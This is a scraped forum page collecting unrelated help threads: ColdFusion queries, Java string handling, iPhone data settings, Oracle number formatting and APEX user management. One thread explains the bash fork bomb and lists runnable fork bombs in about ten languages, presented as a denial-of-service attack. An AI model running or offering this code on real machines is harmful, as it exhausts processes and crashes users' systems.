Which function does this?.

I have to do something like this......
How will i pass values to second query like this...
where empid in (1001,1002,1003,1005)
Which function does this....?. Please help me.
lost track of features of functions......done this 100 times
before....now not working.
Please help me ASAP. Thanks in advance.
<cfquery name="id_sel" datasource="#edsn#">
select empid
from employee
where age < 50
</cfquery>
<cfquery name="course_sel_q" datasource="#edsn#">
select benefit_desc
from benefits
where empid in (<cfloop query="id_sel" startrow="1"
endrow="#id_sel.recordcount#">
#valueList(id_sel.empid,",")#</cfloop>)
order by empid
</cfquery>

quote:
Originally posted by:
jdeline
You're making it too complicated. See code below. It creates
a comma-delimited list for use in your WHERE clause.
Edit: fixed bad ValueList)( ).
Too complicated? It's a simple join for goodness sakes. It's
also more efficient because it only uses one trip to the database
to get the data.

Similar Messages

  • What function does this code do?

    ((l = html.indexOf("<META")) != -1)

    I guess your question is not directed at the indexOf method of the String object, which returns the position of the String passed to the method within the String on which the methode is executed, with 0 being the position of the first character in a String and a negativ value indicating, that the String passed is not included at all.
    Rather your question is regarding the
    ((l=html.indexOf("...."))!=-1)
    This is a construct you will find fairly often in java .
    The = operator assigns the value returned by html.indexOf("...") to the variable l . The term (l=html.indexOf("....")) itself returns the value of l (that is the point that you were asking for). This value is then compared with != (meaning not equal) to -1.
    This is often used in conditions (and loops) to retrieve the value of something assign it to a variable (which can be used later on) and compare it to something else.

  • Well my iphone was reducing my prepaid load, how will I know which apps doing this?Or which settings to turn off so it will not use my prepaid load?

    As stated above,kindly help...

    Deleting on one device does not affect another device.
    You can delete the App's on the iPhone and nothing will happen to the ones on the iPad.
    1.  You don't need to.
    2.  Settings->Cellular->"Use Cellular Data For" will show the data usage for each App since the last statistics reset
    3.  Settings->General->Background App Refresh Will show which Apps are allowed to get data in the background
    4.  It restricts it to Wifi.  If the App requires internet access and Data is turned off, it will have to wait until the device is connected to a wifi network.
    5.  Nope, You just use up battery since the BT radio will continuously look for nearby BT devices.
    6.  The Personal Hotspot uses your cellular internet connection from your phone or other cellular device; whether you consider that secure or not I cannot say.  It also depends on what you are doing while connected to the Hotel's wifi. I would not do online banking while on vacation though.

  • Photo editing question - which app does this?

    I'm not sure if this is the right place to ask; if not, please forgive my faux pas.
    I'm looking for an inexpensive photo-editing app ( < $25) that will let me take an image and distort it in such a manner that it appears to have 3d perspective.  That is, I'd like to shorten the height of the left vertical edge but not the right edge, making it appear that one is looking into the distance.  I have a few common apps like Graphic Converter and Pixelmator but if they have this function, it's pretty well hidden.
    Suggestions anyone?

    You can download the free trial of Pixelmator for MacOS:
    http://www.pixelmator.com/try/
    and for 30 days distort and apply perspective:
    Or buy it at the app store for 14.99.
    MtD
    Message was edited by: Meg The Dog

  • What function does this...

    How would i go about coverting '.750' to '75.0' ? What function do i use here?
    My guess si to_char but how would i apply that here?
    Edited by: user652714 on Apr 3, 2009 7:44 AM

    And a final (?) solution, using the necessary datatype conversions and being language independent. For example, in the Netherlands the decimal symbol is a comma, not a point.
    SQL> select to_char
      2         ( 100 * to_number('.750','999D000','nls_numeric_characters=''.,''')
      3         , '99999D0'
      4         , 'nls_numeric_characters=''.,'''
      5         )
      6    from dual
      7  /
    TO_CHAR(
        75.0
    1 rij is geselecteerd.Regards,
    Rob.

  • Why does this make *nix crash ?

    why does
    :(){ :|:& };:
    make my system crash ?
    * Don`t try it if you don`t want to crash your box

    :(){:|:&};:
    can also be viewed as
    function(){
    function|function&
    Does this look more familiar? It's basically a standard bash function. The code you posted, called a forkbomb, creates a bash function called ":" which calls itself recursively twice through a pipe and sends the recursion call to the background. Basically, this causes the process to fork (or split) itself forever. This creates a huge number of processes which overrun your CPU, causing your precious computer to freeze/crash/whatever.
    Sending the second function call to the background causes the calling function to not wait until the call returns. Since there is no stop condition for this recursion, the function would wait forever allowing you to kill it and all its children with ^C. Since the recursion call is running in the background, the calling function will complete immediately making it damn near impossible to kill its child processes.
    So why call it twice? Because of the recursive call in the background, the calling process dies as soon as it makes the recursive call. Hence, if we only call it once it will always have one process replacing its parent, defeating the purpose of a forkbomb.
    What's the point? It's a denial of service attack, plain and simple.
    Various other type of forkbombs...
    Windows
    %0|%0
    -or-
    :s
    start %0
    %0|%0
    goto :s
    Perl
    fork while fork
    Haskell
    import Control.Monad
    import System.Posix.Process
    forkBomb = forever $ forkProcess forkBomb
    Python
    import os
    while True:
    os.fork()
    Ruby
    loop { fork }
    C/C++
    #include <unistd.h>
    int main(void)
    while(1)
    fork();
    return 0;
    NASM
    section .text
    global _start ;Call start
    _start:
    push byte 2 ;syscall to Linux fork
    pop eax ;set EAX argument for fork to NULL [So it works in strings]
    int 0x80 ;Execute syscall with fork & the EAX [null, above] argument
    jmp short _start ;Go back to beginning, causing a fork bomb
    Lisp
    (defmacro wabbit () ;; A program that writes code.
    (let ((fname (gentemp 'INET)))
    `(progn
    (defun ,fname () ;; Generate.
    nil)
    (wabbit))))
    (wabbit) ;; Start multiplying.
    * Disclaimer: It's not my fault if you fuck up your system trying these out.
    ** Edit: Wow... in the time it took me to write that up a crapload of people answered the question... oh well.
    Last edited by Ghost1227 (2009-06-21 14:02:55)

  • Which table does (CREATE_USER(USERNAME,PASSWORD)) writes to

    I am trying to figure out a way to allow application administrators to add more end users using the application (not development environment). I am told that I need to call CREATE_USER(USERNAME,PASSWORD). Does anyone know which table does this procedure writes to?? whats the table name?? is it apex_access_control?? because I looked into the object browse and saw this table and when i did a select on it, it displays the current users in there.
    so should i just get the username from the user ina textbox and directly do an insert to apex_access_control table or should i call CREATE_USER.
    Also, CREATE_USER asks for a password, Thanks

    Sharon, sorry for not giving all the information
    I am not using APEX Authentication and I am using Access Control List. When I click "Run" on "Access Control page", it allows me to add more users and assign privilige like "Administrator" and "View". I do not provide a password. The authentication scheme access an ldap directory and verifies if the user is a valid user or not. I can see a table called "APEX_ACCESS_CONTROL" and I see the users in this table (which is myself and another administrator).
    so now, I want to have a form so administrators can add users using application. Are you saying that there is a way that I can make the access control page available to administrators in the application. I was thinking I might have to add a new page myself and ask for information like (username and password) on it. I am new to APEX, so pardon me if I am not being very clear, but i hope you understand and can help me
    YES, I am asking how to add users to Access control list (remember without coming into apex as developer and adding users).
    Thanks

  • In which tables does grievences field consist

    Dear All,
                How to calculate the grievences, in which tables does this field exists, Can some one help me,,
    thanks,
    Thiru.

    Hi,
    V_T591A
    V_T505O
    V_T505K
    Regards,
    Dilek

  • Why has my monitor suddenly begun to have a moiré pattern all over – it is even showing up on my icons on the dock? It appears to be very thin bright green vertical lines. I have a 2008 iMac which is running 10.6.8. What does this mean?

    Why has my monitor suddenly begun to have a moiré pattern all over – it is even showing up on my icons on the dock? It appears to be very thin bright green vertical lines. I have a 2007 iMac which is running 10.6.8. What does this mean? I've attached some screen shots below.
    Also experiencing some funky issues with my wireless keyboard. With new batteries, it will just stop functioning. Certain keys intermittently won't work. Also the fans go on as soon as I turn the computer on - some times they stay on and sometimes they don't. Ever since upgrading the operating system - I've been having many issues with this iMac. Not happy. Any answers out there?

    Thanks for your reply LexSchellings, There is no disc in the drive and I went through the suggestions you put forward on the phone with Apple support without any luck. I can put a disc in but it pops straight back out again without registering on finder.
    The idea of using an external drive was to enable me to avoid the cost and loss of productivity whilst machine in repair... if I have to take it in to get the old drive removed than I might as well have a new internal drive put in, although I do worry about the reliability of these apple drives given my experience with this one coupled with my limited online research ... on line forums seem to be full of people with the same problem (although perhaps searching such forums is bound to make it seem a common problem as users with perfectly working machines are less likely to post (?)) Your reply suggests that no external drive will work whilst the existing drive is in place.
    As a postscript: I do realise that this is a user forum ...my secondary question was asking if anyone knows how to put forward a case/complaint to Apple... I can't find a link on the support page that would enable me to do so and I was wondering if anyone on this user forum had any ideas/experience..

  • HT4623 I have the iphone 3Gs but whatsapp is no longer functioning. Does this mean that soon I'll have to throw away this useless phone?

    I have the iphone 3Gs and an old Powerbookb but whatsapp is no longer functioning. Does this mean that soon I'll have to throw away this useless phone?

    If Whatsapp is on your iPhone now and is not working, that would be a matter for Whatsapp support.
    If you cannot install Whatapp due to iOS on your computer being to old, you can try upgrading iTunes to 10.6.3, if you haven't done so already, presuming your PB is running Mac OS X 10.5.8, which may allow you to upgrade iOS on your iPhone. If your computer is not running 10.5, then you'll need to find a retail copy of 10.5 and upgrade.
    The last PowerBook was discontinued seven years ago, though, so it may be time to consider upgrading to an Intel-based MacBook.
    Regards.

  • HT2357 So how does this work on Mountain Lion? I cannot seem to ignore the iTunes 11 updates, which now seem to appear every 5 minutes!!

    So how does this work on Mountain Lion? I cannot seem to ignore the iTunes 11 updates, which now seem to appear every 5 minutes!!

    Fantastic!  Didn't work at first so restarted App store and tried again.  This time it asked 'ignore update'.  All gone!

  • HT4085 So does this mean that I cannot have rotation lock off and the mute function off at the same time? In other words, can I have my screen rotate automatically as I hold my iPad in either portrait or landscape AND hear sounds from my apps at the same

    So does this mean that I cannot have rotation lock off and the mute function off at the same time? In other words, can I have my screen rotate automatically as I hold my iPad in either portrait or landscape AND hear sounds from my apps at the same time?

    In other words, can I have my screen rotate automatically as I hold my iPad in either portrait or landscape AND hear sounds from my apps at the same time?
    Yes, you can. You can configure the Side Switch (above the volume button) either as Mute switch or Rotation lock.
    Settings > General > Use Side Switch to: choose what you like the Side Switch to function as.

  • I have two apple accounts and one of which has my music on. I would like to move this music to the other account. Is there a simple way of doing this?

    I have two apple accounts and one of which has my music on. I would like to move this music to the other account. Is there a simple way of doing this?

    There is currently no way to merge accounts.  The best option is to pick one, and use it consistantly.
    HTH.

  • I want a song i purchased on ipad with my apple id transferred to our family computer which is registered to my husbands apple id. But a message comes up saying 90days before can download? What does this mean i just want to play my song through the mac

    I want a song purchased on my ipad with my apple id downloaded onto our home mac mini. So i can listen to it via that computer. However the mac is registered to my husbands apple id and it comes up with a message about 90days wait needed or something. What does this mean? And how do I get one measly song downloaded?!

    Welcome to the Apple Community.
    It sounds like you are trying to change your login in the Tunes store through iTunes on your computer, which you can only do once in 90 days, which you don't need to do for this.
    What does your iPad usually sync with.

  • HT204053 I am not able to update my apps because every time I am doing this, it is asking for a password which I have never used and the person who used it is in no more contact. how can i get my id instead of his??

    I am not able to update my apps because every time I am doing this, it is asking for a password which I have never used and the person who used it is in no more contact. how can i get my id instead of his??

    Apps can only be updated using the same Apple ID and password they were originally purchased with.

Maybe you are looking for